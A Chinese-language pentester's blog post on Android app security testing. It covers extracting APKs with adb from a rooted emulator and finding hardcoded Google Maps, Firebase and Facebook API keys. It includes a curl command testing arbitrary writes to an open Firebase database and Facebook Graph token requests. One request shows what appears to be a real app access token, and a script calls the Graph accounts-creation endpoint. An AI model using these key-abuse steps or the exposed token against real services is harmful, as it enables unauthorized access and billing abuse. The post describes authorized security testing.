APP 測試的一些小故事

Before all

最後更新:2025/02/25
近期算是要幫某些單位做資安演練,剛好接觸到了一些 app 相關的滲透測試 …
就開啟了頭痛之旅,首要的問題就是,怎麼把 apk 抓進電腦分析
底下是我曾經的第一個解答,上網查其實也都是看到它…
image
但…它…真的好嗎?
戳開 Request Update 的按鈕有這樣一段話:

1
Post the app package name/ID in the comment box below if you like to request us to update or fetch the app

痾…其實它是先 fetch 起來檔案,等有需要的時候再遞過來,所以很可能不是最新版的 APK ?!
image
荒謬的更新留言串
蝦~怎麼辦,或許有些人會說直接從自己的安卓手機上提取,但那既麻煩,有些演練環境又不允許攜帶手機入內…更不要提版本不對導致無法下載的窘境🫠

來用 Blue Stacks 吧!

安裝最新版的 Blue Stacks,設定的地方記得調成允許 root
image

另外就是進階選項要開啟 adb
image

Adb 是一個蠻方便的軟體,可以快速幫你連接手機/debug 它,當中就包含 shell/拉取、推入檔案的功能
Windows 載點:https://dl.google.com/android/repository/platformtools-latest-windows.zip
接下來我的情況(port 5555 開啟)就是:

1
.\adb.exe connect 127.0.0.1:5555

接下來下一下 devices 就能確認是否連上ㄌ
image

下 shell 命令,進去之後 su 直接 root:
image
方便 ><
最後,安卓上的 apk 都會存在 /data/app 的資料夾內,用 pull 指令拉取就好,可以直接拉整個資料夾

1
.\adb.exe -s 127.0.0.1:5555 pull /data/app/你的資料夾名稱 .

API 和它的 HardCode 好夥伴們

同場加映一下怎麼快速找出 API KEY 以及舉例一下看到的兩種 API KEY 洩漏問題:
基本路徑:
/resources/res/values/strings.xml
/resources/AndroidManifest.xml
當然還有更多像是原始碼洩漏、還有拆解 bundle 檔案(Ref: PJSekai CTF 2024)之類的 trick …
MopSF 是好工具 :D,就記錄下有看到的 會持續更新!

Google (Map) API

Google Map 的 API Key 越來越多需付費了,而這些 API KEY 理論上也該被好好保護/以中繼站的方法去間接調用。
工具下載:https://github.com/ozguralp/gmapsapiscanner
舉個🌰:

1
2
3
4
5
<uses-library android:name="org.apache.http.legacy" android:required="false"/>
<meta-data android:name="firebase_performance_logcat_enabled" android:value="false"/>
<meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="@string/map_api_key"/>
<meta-data android:name="android.app.default_searchable" android:value="com.nineyi.searchview.SearchViewNavContentsActivity"/>
<meta-data android:name="firebase_crashlytics_collection_enabled" android:value="false"/>

洩漏了!
在 APK 裡面舉凡像是 @string/map_api_key 的調用都是去抓取 /resources/res/values/strings.xml 這些 xml 找值
image
API KEY 裸奔拉~!
image
還會有計價結果 XD

Firebase API

API Endpoint

firebase 資料庫是透過像是 xxx.firebaseio.com, xxx.firebasedatabase.app 的連結去存取的
沒有鎖好權限的話是會造成任意寫入的,HackerOne 上爬一爬其實有蠻多相關 writeup
image

這就是一個洩漏的範例

1
curl -X PUT 'https://xxx.firebaseio.com/test.json' -d '{"test":"whale"}' -H 'Content-Type: application/json'

image

API Key

image
遇到這類資料洩漏的時候可以參考這兩篇文章進行測試:
https://szczecin.github.io/2024/01/25/Firebase-Installations-Server-API/
https://szczecin.github.io/2024/01/31/Firebase-API-Key-Hard-Coding/

像如果可以請求就會產生一個 device id,去做各種紀錄??
image

1
curl -H "content-type: application/json" -d "{appId: '$app_id', sdkVersion: 't:1'}" https://firebaseinstallations.googleapis.com/v1/projects/$project_identifier/installations/?key=$api_key;

不過基本上這就是確認可用性,詳細還需要拿著 api key 到處測試
接下來是關於這的小故事:
為什麼我會知道那麼一大坨東西呢…
是這樣的,一開始打是用 apk downloader 下載後解包,看到 google map api key 很開心的去掃而且發現有問題,結果…
它不是最新版!!!
然後按規定就不能報ㄌ…後來發現了 Google / Firebase API 但僅有這些東西,我不確定能打出什麼效果,目前就是證明能用而已…

Facebook API

官方 Ref (以 Graph API 為例):https://developers.facebook.com/docs/graph-api/
HackerOne 案例:https://hackerone.com/reports/1641475
再來也是遇到的一個情況,Facebook api key leak

image
首先,拿到 id 與 token 後要先去請求一組 access_token:

1
https://graph.facebook.com/oauth/access_token?client_id=<id>&client_secret=<token>&redirect_uri=&grant_type=client_credentials

請求到 access_token 後,請求:

1
https://graph.facebook.com/619416648247693/?metadata=1&access_token=619416648247693|46Ngxd1xY3LXRs85EcU6xz8_yRw&debug=all

就可以列出所有 debug 以及 API 可以摸到的功能與端點。
最後就是簡單寫個腳本戳帳號建立 API,之後如果有看到其他有趣的會補?!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

def create_app_account(app_id, access_token, test_account_data):
endpoint = f"https://graph.facebook.com/v19.0/{app_id}/accounts"

params = {
"access_token": access_token,
"installed": True,
"name": "Test Account",
"permissions": ["email", "public_profile"]
}

params.update(test_account_data)

response = requests.post(endpoint, params=params)

return response.json()

app_id = "YOUR_APP_ID"
access_token = "YOUR_APP_ACCESS_TOKEN"
test_account_data = {
"name": "Test Whale",
"locale": "zh_TW",
"permissions": ["email", "public_profile"]
}

try:
result = create_app_account(app_id, access_token, test_account_data)
print("Created :", result)
except Exception as e:
print("Error :", str(e))

先給自己挖個坑,之後寫個自動化 tester:
https://gist.github.com/William957-web/5698ba736d7c5adadc4ac70f161f0d35

同場加映

酷酷的 github 專案:https://github.com/streaak/keyhacks?tab=readme-ov-file